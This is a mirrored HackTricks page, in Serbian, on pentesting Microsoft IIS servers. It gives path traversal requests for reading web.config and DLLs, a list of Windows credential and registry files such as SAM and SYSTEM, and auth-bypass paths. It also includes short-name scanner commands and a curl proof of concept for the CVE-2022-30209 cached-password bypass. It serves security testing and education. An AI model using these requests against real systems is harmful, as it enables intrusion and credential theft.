mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
265 lines
13 KiB
Markdown
265 lines
13 KiB
Markdown
# IIS - Internet Information Services
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Testirajte ekstenzije izvršnih datoteka:
|
||
|
||
- asp
|
||
- aspx
|
||
- config
|
||
- php
|
||
|
||
## Otkriće interne IP adrese
|
||
|
||
Na bilo kojem IIS serveru gde dobijete 302, možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može vas uputiti na internu IP adresu:
|
||
```
|
||
nc -v domain.com 80
|
||
openssl s_client -connect domain.com:443
|
||
```
|
||
Odgovor koji otkriva unutrašnju IP adresu:
|
||
```
|
||
GET / HTTP/1.0
|
||
|
||
HTTP/1.1 302 Moved Temporarily
|
||
Cache-Control: no-cache
|
||
Pragma: no-cache
|
||
Location: https://192.168.5.237/owa/
|
||
Server: Microsoft-IIS/10.0
|
||
X-FEServer: NHEXCHANGE2016
|
||
```
|
||
## Izvršavanje .config datoteka
|
||
|
||
Možete učitati .config datoteke i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj datoteke unutar HTML komentara: [Preuzmite primer ovde](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||
|
||
Više informacija i tehnika za iskorišćavanje ove ranjivosti [ovde](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||
|
||
## IIS Otkriće Bruteforce
|
||
|
||
Preuzmite listu koju sam napravio:
|
||
|
||
{{#file}}
|
||
iisfinal.txt
|
||
{{#endfile}}
|
||
|
||
Napravljen je spajanjem sadržaja sledećih lista:
|
||
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||
|
||
Koristite je bez dodavanja ekstenzije, datoteke koje je zahtevaju već je imaju.
|
||
|
||
## Putanja Traversal
|
||
|
||
### Curjenje izvornog koda
|
||
|
||
Proverite potpuni izveštaj na: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||
|
||
> [!NOTE]
|
||
> Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "**assemblyIdentity**" datoteke i "**namespaces**". Sa ovom informacijom je moguće znati **gde se nalaze izvršne datoteke** i preuzeti ih.\
|
||
> Iz **preuzetih Dll-ova** takođe je moguće pronaći **nove namespaces** gde treba pokušati da se pristupi i dobije web.config datoteka kako bi se pronašle nove namespaces i assemblyIdentity.\
|
||
> Takođe, datoteke **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.
|
||
|
||
U **.Net MVC aplikacijama**, **web.config** datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem **"assemblyIdentity"** XML oznaka.
|
||
|
||
### **Istraživanje Binarnih Datoteka**
|
||
|
||
Primer pristupa **web.config** datoteci je prikazan u nastavku:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Ovaj zahtev otkriva razne postavke i zavisnosti, kao što su:
|
||
|
||
- **EntityFramework** verzija
|
||
- **AppSettings** za veb stranice, validaciju klijenata i JavaScript
|
||
- **System.web** konfiguracije za autentifikaciju i vreme izvršavanja
|
||
- **System.webServer** podešavanja modula
|
||
- **Runtime** vezivanja skupova za brojne biblioteke kao što su **Microsoft.Owin**, **Newtonsoft.Json** i **System.Web.Mvc**
|
||
|
||
Ove postavke ukazuju na to da se određene datoteke, kao što je **/bin/WebGrease.dll**, nalaze unutar /bin fascikle aplikacije.
|
||
|
||
### **Datoteke u korenskom direktorijumu**
|
||
|
||
Datoteke pronađene u korenskom direktorijumu, poput **/global.asax** i **/connectionstrings.config** (koja sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
|
||
|
||
### **Namespaces i Web.Config**
|
||
|
||
MVC aplikacije takođe definišu dodatne **web.config datoteke** za specifične namespaces kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge **web.config**:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
### **Preuzimanje DLL-ova**
|
||
|
||
Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "**WebApplication1**" prisutan u /bin direktorijumu. Nakon toga, prikazana je molba za preuzimanje **WebApplication1.dll**:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Ovo sugeriše prisustvo drugih bitnih DLL-ova, kao što su **System.Web.Mvc.dll** i **System.Web.Optimization.dll**, u /bin direktorijumu.
|
||
|
||
U scenariju gde DLL uvozi prostor imena pod nazivom **WebApplication1.Areas.Minded**, napadač može da zaključi o postojanju drugih web.config fajlova na predvidivim putanjama, kao što su **/area-name/Views/**, koji sadrže specifične konfiguracije i reference na druge DLL-ove u /bin folderu. Na primer, zahtev za **/Minded/Views/web.config** može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo drugog DLL-a, **WebApplication1.AdditionalFeatures.dll**.
|
||
|
||
### Uobičajeni fajlovi
|
||
|
||
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
```
|
||
C:\Apache\conf\httpd.conf
|
||
C:\Apache\logs\access.log
|
||
C:\Apache\logs\error.log
|
||
C:\Apache2\conf\httpd.conf
|
||
C:\Apache2\logs\access.log
|
||
C:\Apache2\logs\error.log
|
||
C:\Apache22\conf\httpd.conf
|
||
C:\Apache22\logs\access.log
|
||
C:\Apache22\logs\error.log
|
||
C:\Apache24\conf\httpd.conf
|
||
C:\Apache24\logs\access.log
|
||
C:\Apache24\logs\error.log
|
||
C:\Documents and Settings\Administrator\NTUser.dat
|
||
C:\php\php.ini
|
||
C:\php4\php.ini
|
||
C:\php5\php.ini
|
||
C:\php7\php.ini
|
||
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
||
c:\Program Files (x86)\php\php.ini"
|
||
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
||
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
||
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
||
C:\Program Files\MySQL\my.cnf
|
||
C:\Program Files\MySQL\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
||
C:\Program Files\php\php.ini
|
||
C:\Users\Administrator\NTUser.dat
|
||
C:\Windows\debug\NetSetup.LOG
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\php.ini
|
||
C:\Windows\repair\SAM
|
||
C:\Windows\repair\system
|
||
C:\Windows\System32\config\AppEvent.evt
|
||
C:\Windows\System32\config\RegBack\SAM
|
||
C:\Windows\System32\config\RegBack\system
|
||
C:\Windows\System32\config\SAM
|
||
C:\Windows\System32\config\SecEvent.evt
|
||
C:\Windows\System32\config\SysEvent.evt
|
||
C:\Windows\System32\config\SYSTEM
|
||
C:\Windows\System32\drivers\etc\hosts
|
||
C:\Windows\System32\winevt\Logs\Application.evtx
|
||
C:\Windows\System32\winevt\Logs\Security.evtx
|
||
C:\Windows\System32\winevt\Logs\System.evtx
|
||
C:\Windows\win.ini
|
||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||
C:\xampp\apache\conf\httpd.conf
|
||
C:\xampp\apache\logs\access.log
|
||
C:\xampp\apache\logs\error.log
|
||
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
||
C:\xampp\MercuryMail\MERCURY.INI
|
||
C:\xampp\mysql\bin\my.ini
|
||
C:\xampp\php\php.ini
|
||
C:\xampp\security\webdav.htpasswd
|
||
C:\xampp\sendmail\sendmail.ini
|
||
C:\xampp\tomcat\conf\server.xml
|
||
```
|
||
## HTTPAPI 2.0 404 Greška
|
||
|
||
Ako vidite grešku poput sledeće:
|
||
|
||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||
|
||
To znači da server **nije primio ispravno ime domena** unutar Host zaglavlja.\
|
||
Da biste pristupili veb stranici, možete pogledati **SSL sertifikat** i možda ćete pronaći ime domena/subdomena tamo. Ako ga nema, možda ćete morati da **brute force VHosts** dok ne pronađete ispravno.
|
||
|
||
## Stare IIS ranjivosti koje vredi potražiti
|
||
|
||
### Microsoft IIS tilde karakter “\~” Ranjivost/Osobina – Otkriće kratkog imena datoteke/foldera
|
||
|
||
Možete pokušati da **enumerišete foldere i datoteke** unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu **tehniku**.\
|
||
Glavno ograničenje ove tehnike, ako je server ranjiv, je to da **može pronaći samo prvih 6 slova imena svake datoteke/foldera i prva 3 slova ekstenzije** datoteka.
|
||
|
||
Možete koristiti [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) da testirate ovu ranjivost:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||
|
||
.png>)
|
||
|
||
Originalno istraživanje: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||
|
||
Takođe možete koristiti **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||
|
||
Lepa ideja da **pronađete konačno ime** otkrivenih datoteka je da **pitate LLMs** za opcije kao što je to učinjeno u skripti [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||
|
||
### Obilaženje osnovne autentifikacije
|
||
|
||
**Obiđite** osnovnu autentifikaciju (**IIS 7.5**) pokušavajući da pristupite: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ili `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
||
Možete pokušati da **kombinujete** ovu **ranjivost** i prethodnu da pronađete nove **foldere** i **obiđete** autentifikaciju.
|
||
|
||
## ASP.NET Trace.AXD omogućeno debagovanje
|
||
|
||
ASP.NET uključuje režim debagovanja i njegova datoteka se zove `trace.axd`.
|
||
|
||
Ona čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
|
||
|
||
Ove informacije uključuju IP adrese udaljenih klijenata, ID sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvoru koda, i potencijalno čak i korisnička imena i lozinke.
|
||
|
||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
||

|
||
|
||
## ASPXAUTH Kolačić
|
||
|
||
ASPXAUTH koristi sledeće informacije:
|
||
|
||
- **`validationKey`** (string): heksadecimalno kodirani ključ koji se koristi za validaciju potpisa.
|
||
- **`decryptionMethod`** (string): (podrazumevano “AES”).
|
||
- **`decryptionIV`** (string): heksadecimalno kodirani inicijalizacijski vektor (podrazumevano vektor nula).
|
||
- **`decryptionKey`** (string): heksadecimalno kodirani ključ koji se koristi za dekripciju.
|
||
|
||
Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako možete pronaći veb sajt koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **napravite korisnika sa emailom korisnika kojeg želite da imitirate** na serveru pod napadom, možda ćete moći da **koristite kolačić sa drugog servera na prvom** i imitirate korisnika.\
|
||
Ovaj napad je uspeo u ovom [**izveštaju**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
||
## IIS Obilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||
|
||
[Potpuni izveštaj ovde](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Greška u kodu **nije pravilno proverila lozinku koju je dao korisnik**, tako da će napadač čija **hash lozinka odgovara ključu** koji je već u **kešu** moći da se prijavi kao taj korisnik.
|
||
```python
|
||
# script for sanity check
|
||
> type test.py
|
||
def HashString(password):
|
||
j = 0
|
||
for c in map(ord, password):
|
||
j = c + (101*j)&0xffffffff
|
||
return j
|
||
|
||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
||
# before the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 401 Unauthorized
|
||
|
||
# after the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 200 OK
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|